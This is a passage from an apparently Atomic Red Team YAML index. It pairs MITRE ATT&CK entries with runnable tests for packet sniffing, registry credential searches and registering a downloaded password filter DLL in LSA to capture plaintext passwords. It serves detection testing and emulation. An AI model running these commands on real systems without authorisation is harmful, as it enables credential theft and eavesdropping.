        Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)
         Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: "Consider monitoring API calls, file read events, and processes
        for suspicious activity that could indicate searching in process memory of
        password managers. \n\nConsider monitoring file reads surrounding known password
        manager applications."
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Process: OS API Execution'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1040:
    technique:
      modified: '2024-04-19T12:32:44.370Z'
      name: Network Sniffing
      description: |-
        Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

        Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

        Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.

        In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)

        On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Oleg Kolesnikov, Securonix
      - Tiago Faria, 3CORESec
      - Austin Clark, @c2defense
      - Itamar Mizrahi, Cymptom
      - Eliraz Levi, Hunters
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.

        In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      - IaaS
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_system_requirements:
      - Network interface access and packet capture driver
      type: attack-pattern
      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
      created: '2017-05-31T21:30:41.399Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1040
        external_id: T1040
      - source_name: AWS Traffic Mirroring
        description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved
          March 17, 2022.
        url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html
      - source_name: capture_embedded_packet_on_software
        description: Cisco. (2022, August 17). Configure and Capture Embedded Packet
          on Software. Retrieved July 13, 2022.
        url: https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html
      - source_name: GCP Packet Mirroring
        description: Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March
          17, 2022.
        url: https://cloud.google.com/vpc/docs/packet-mirroring
      - source_name: SpecterOps AWS Traffic Mirroring
        description: Luke Paine. (2020, March 11). Through the Looking Glass — Part
          1. Retrieved March 17, 2022.
        url: https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512
      - source_name: Azure Virtual Network TAP
        description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved
          March 17, 2022.
        url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview
      - source_name: Rhino Security Labs AWS VPC Traffic Mirroring
        description: Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring
          in AWS. Retrieved March 17, 2022.
        url: https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1040
    atomic_tests:
    - name: Packet Capture Linux using tshark or tcpdump
      auto_generated_guid: 7fe741f7-b265-4951-a7c7-320889083b3e
      description: |
        Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
      supported_platforms:
      - linux
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: ens33
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: |
          tcpdump -c 5 -nnni #{interface}
          tshark -c 5 -i #{interface}
        name: bash
        elevation_required: true
    - name: Packet Capture FreeBSD using tshark or tcpdump
      auto_generated_guid: c93f2492-9ebe-44b5-8b45-36574cccfe67
      description: |
        Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
      supported_platforms:
      - linux
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: em0
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

          '
        get_prereq_command: "(which pkg && pkg install -y wireshark-nox11)\n"
      executor:
        command: |
          tcpdump -c 5 -nnni #{interface}
          tshark -c 5 -i #{interface}
        name: sh
        elevation_required: true
    - name: Packet Capture macOS using tcpdump or tshark
      auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608
      description: |
        Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

        Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.
      supported_platforms:
      - macos
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: en0A
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if at least one of tcpdump or tshark is installed.

          '
        prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command
          -v tshark)" ]; then exit 1; else exit 0; fi;

          '
        get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which
          apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n"
      executor:
        command: "sudo tcpdump -c 5 -nnni #{interface}    \nif [ -x \"$(command -v
          tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n"
        name: bash
        elevation_required: true
    - name: Packet Capture Windows Command Prompt
      auto_generated_guid: a5b2f6a0-24b4-493e-9590-c699f75723ca
      description: |
        Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
        installed.

        Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet".
      supported_platforms:
      - windows
      input_arguments:
        interface:
          description: Specify interface to perform PCAP on.
          type: string
          default: Ethernet
        wireshark_url:
          description: wireshark installer download URL
          type: url
          default: https://1.eu.dl.wireshark.org/win64/Wireshark-latest-x64.exe
        tshark_path:
          description: path to tshark.exe
          type: path
          default: c:\program files\wireshark\tshark.exe
        npcap_url:
          description: npcap installed download URL
          type: url
          default: https://nmap.org/npcap/dist/npcap-1.31.exe
        npcap_path:
          description: path to npcap.sys
          type: path
          default: C:\Program Files\Npcap\npcap.sys
      dependency_executor_name: powershell
      dependencies:
      - description: 'tshark must be installed and in the default path of "c:\Program
          Files\Wireshark\Tshark.exe".

          '
        prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" #{wireshark_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" /S
      - description: 'npcap must be installed.

          '
        prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe" #{npcap_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe"
      executor:
        command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5

          '
        name: command_prompt
        elevation_required: true
    - name: Windows Internal Packet Capture
      auto_generated_guid: b5656f67-d67f-4de8-8e62-b5581630f528
      description: |-
        Uses the built-in Windows packet capture
        After execution you should find a file named trace.etl and trace.cab in the temp directory
      supported_platforms:
      - windows
      executor:
        command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10
        cleanup_command: |-
          netsh trace stop >nul 2>&1
          TIMEOUT /T 5 >nul 2>&1
          del %temp%\trace.etl >nul 2>&1
          del %temp%\trace.cab >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Windows Internal pktmon capture
      auto_generated_guid: c67ba807-f48b-446e-b955-e4928cd1bf91
      description: |-
        Will start a packet capture and store log file as t1040.etl.
        https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
      supported_platforms:
      - windows
      executor:
        command: |
          pktmon.exe start --etw  -f %TEMP%\t1040.etl
          TIMEOUT /T 5 >nul 2>&1
          pktmon.exe stop
        cleanup_command: del %TEMP%\t1040.etl
        name: command_prompt
        elevation_required: true
    - name: Windows Internal pktmon set filter
      auto_generated_guid: 855fb8b4-b8ab-4785-ae77-09f5df7bff55
      description: "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/"
      supported_platforms:
      - windows
      executor:
        command: 'pktmon.exe filter add -p 445

          '
        cleanup_command: pktmon filter remove
        name: command_prompt
        elevation_required: true
    - name: Packet Capture macOS using /dev/bpfN with sudo
      auto_generated_guid: e6fe5095-545d-4c8b-a0ae-e863914be3aa
      description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few
        seconds.

        '
      supported_platforms:
      - macos
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: en0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_macos_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Filtered Packet Capture macOS using /dev/bpfN with sudo
      auto_generated_guid: e2480aee-23f3-4f34-80ce-de221e27cd19
      description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp''
        and captures packets for a few seconds.

        '
      supported_platforms:
      - macos
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: en0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_macos_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -f -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture FreeBSD using /dev/bpfN with sudo
      auto_generated_guid: e2028771-1bfb-48f5-b5e6-e50ee0942a14
      description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few
        seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: em0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_freebsd_pcapdemo"
      dependency_executor_name: sh
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: sh
        elevation_required: true
    - name: Filtered Packet Capture FreeBSD using /dev/bpfN with sudo
      auto_generated_guid: a3a0d4c9-c068-4563-a08d-583bd05b884c
      description: 'Opens a /dev/bpf file (O_RDONLY), sets BPF filter for ''udp''
        and captures packets for a few seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        ifname:
          description: Specify interface to perform PCAP on.
          type: string
          default: em0
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/freebsd_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_freebsd_pcapdemo"
      dependency_executor_name: sh
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'exit 1

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -f -i #{ifname} -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: sh
        elevation_required: true
    - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo
      auto_generated_guid: 10c710c9-9104-4d5f-8829-5b65391e2a29
      description: 'Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few
        seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -a -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo
      auto_generated_guid: 7a0895f0-84c1-4adf-8491-a21510b1d4c1
      description: 'Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP
        for a few seconds.

        '
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -4 -p 6 -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo
      auto_generated_guid: 515575ab-d213-42b1-aa64-ef6a2dd4641b
      description: |
        Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.
        SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -4 -P -p 17 -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP
        with sudo
      auto_generated_guid: b1cbdf8b-6078-48f5-a890-11ea19d7f8e9
      description: |
        Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.
        Sets a BPF filter on the socket to filter for UDP traffic.
      supported_platforms:
      - linux
      input_arguments:
        csource_path:
          description: Path to C program source
          type: string
          default: PathToAtomicsFolder/T1040/src/linux_pcapdemo.c
        program_path:
          description: Path to compiled C program
          type: string
          default: "/tmp/t1040_linux_pcapdemo"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{program_path}" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: 'cc #{csource_path} -o #{program_path}

          '
      executor:
        command: 'sudo #{program_path} -a -f -t 3

          '
        cleanup_command: 'rm -f #{program_path}

          '
        name: bash
        elevation_required: true
    - name: PowerShell Network Sniffing
      auto_generated_guid: 9c15a7de-de14-46c3-bc2a-6d94130986ae
      description: |-
        PowerShell Built-in Cmdlets to capture network traffic.
        https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps
      supported_platforms:
      - windows
      executor:
        command: |
          New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl"
          Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100
          Start-NetEventSession -Name Capture007
          Stop-NetEventSession -Name Capture007
          Remove-NetEventSession -Name Capture007
        cleanup_command: del $ENV:Temp\sniff.etl
        name: powershell
        elevation_required: true
  T1552.002:
    technique:
      modified: '2023-07-28T18:29:56.525Z'
      name: 'Unsecured Credentials: Credentials in Registry'
      description: |-
        Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

        Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

        * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
        * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Sudhanshu Chauhan, @Sudhanshu_C
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes for applications that can be used to query
        the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and
        collect command parameters that may indicate credentials are being searched.
        Correlate activity with related suspicious behavior that may indicate an active
        intrusion to reduce false positives.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Access'
      x_mitre_system_requirements:
      - Ability to query some Registry locations depends on the adversary's level
        of access. User permissions are usually limited to access of user-related
        Registry keys.
      type: attack-pattern
      id: attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580
      created: '2020-02-04T12:58:40.678Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1552/002
        external_id: T1552.002
      - source_name: Pentestlab Stored Credentials
        description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April
          6, 2018.
        url: https://pentestlab.blog/2017/04/19/stored-credentials/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1552.002
    atomic_tests:
    - name: Enumeration for Credentials in Registry
      auto_generated_guid: b6ec082c-7384-46b3-a111-9a9b8b14e5e7
      description: 'Queries to enumerate for credentials in the Registry. Upon execution,
        any registry key containing the word "password" will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg query HKLM /f password /t REG_SZ /s
          reg query HKCU /f password /t REG_SZ /s
        name: command_prompt
    - name: Enumeration for PuTTY Credentials in Registry
      auto_generated_guid: af197fd7-e868-448e-9bd5-05d1bcd9d9e5
      description: |
        Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry
        entries are found, they will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s

          '
        name: command_prompt
  T1556.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Vincent Le Toux
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42
      type: attack-pattern
      created: '2020-02-11T19:05:45.829Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.002
        url: https://attack.mitre.org/techniques/T1556/002
      - url: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
        description: Fuller, R. (2013, September 11). Stealing passwords every time
          they change. Retrieved November 21, 2017.
        source_name: Carnal Ownage Password Filters Sept 2013
      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
        description: Bialek, J. (2013, September 15). Intercepting Password Changes
          With Function Hooking. Retrieved November 21, 2017.
        source_name: Clymb3r Function Hook Passwords Sept 2013
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Modify Authentication Process: Password Filter DLL'
      description: "Adversaries may register malicious password filter dynamic link
        libraries (DLLs) into the authentication process to acquire user credentials
        as they are validated. \n\nWindows password filters are password policy enforcement
        mechanisms for both domain and local accounts. Filters are implemented as
        DLLs containing a method to validate potential passwords against password
        policies. Filter DLLs can be positioned on local computers for local accounts
        and/or domain controllers for domain accounts. Before registering new passwords
        in the Security Accounts Manager (SAM), the Local Security Authority (LSA)
        requests validation from each registered filter. Any potential changes cannot
        take effect until every registered filter acknowledges validation. \n\nAdversaries
        can register malicious password filters to harvest credentials from local
        computers and/or entire domains. To perform proper validation, filters must
        receive plain-text credentials from the LSA. A malicious password filter would
        receive these plain-text credentials every time a password request is made.(Citation:
        Carnal Ownage Password Filters Sept 2013)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>) and correlate then investigate the DLL files these files reference.

        Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1556.002
    atomic_tests:
    - name: Install and Register Password Filter DLL
      auto_generated_guid: a7961770-beb5-4134-9674-83d7e1fa865c
      description: "Uses PowerShell to install and register a password filter DLL.
        Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource
        is in src folder. \nThis does require a reboot to see the filter loaded into
        lsass.exe. \nIt does require Administrative privileges to import the clean
        registry values back into LSA, it is possible you may have to manually do
        this after for cleanup.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Path to DLL to be installed and registered
          type: path
          default: PathToAtomicsFolder\T1556.002\bin
        dll_name:
          description: Name of the Password Filter
          type: string
          default: AtomicRedTeamPWFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location
          (#{dll_path}\#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}"
      executor:
        command: |
          reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
          $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
          $notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
          $notificationPackagesValues += $passwordFilterName
          Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues
        cleanup_command: |
          reg.exe import "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          remove-item C:\Windows\System32\#{dll_name}
        name: powershell
        elevation_required: true
    - name: Install Additional Authentication Packages
      auto_generated_guid: 91580da6-bc6e-431b-8b88-ac77180005f2
      description: "lsass.exe loads all DLLs specified by the Authentication Packages
        REG_MULTI_SZ value.\nUses PowerShell to install and register a password filter
        DLL. Requires a reboot and administrative privileges.\nThe binary in bin is
        https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource
        is in src folder. \nThis does require a reboot to see the filter loaded into
        lsass.exe. \nIt does require Administrative privileges to import the clean
        registry values back into LSA, it is possible you may have to manually do
        this after for cleanup.\n"
      supported_platforms:
      - windows
      input_arguments:
        dll_path:
          description: Path to DLL to be installed and registered as additional authentication
            package
          type: path
          default: PathToAtomicsFolder\T1556.002\bin
        dll_name:
          description: Name of the Password Filter
          type: string
          default: AtomicRedTeamPWFilter.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'AtomicRedTeamPWFilter.dll must exist on disk at specified location
          (#{dll_path}\#{dll_name})

          '
        prereq_command: 'if (Test-Path "#{dll_path}\#{dll_name}") {exit 0} else {exit
          1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll" -OutFile "#{dll_path}\#{dll_name}"
      executor:
        command: |
          reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "PathToAtomicsFolder\T1556.002\lsa_backup.reg"
          $passwordFilterName = (Copy-Item "#{dll_path}\#{dll_name}" -Destination "C:\Windows\System32" -PassThru).basename
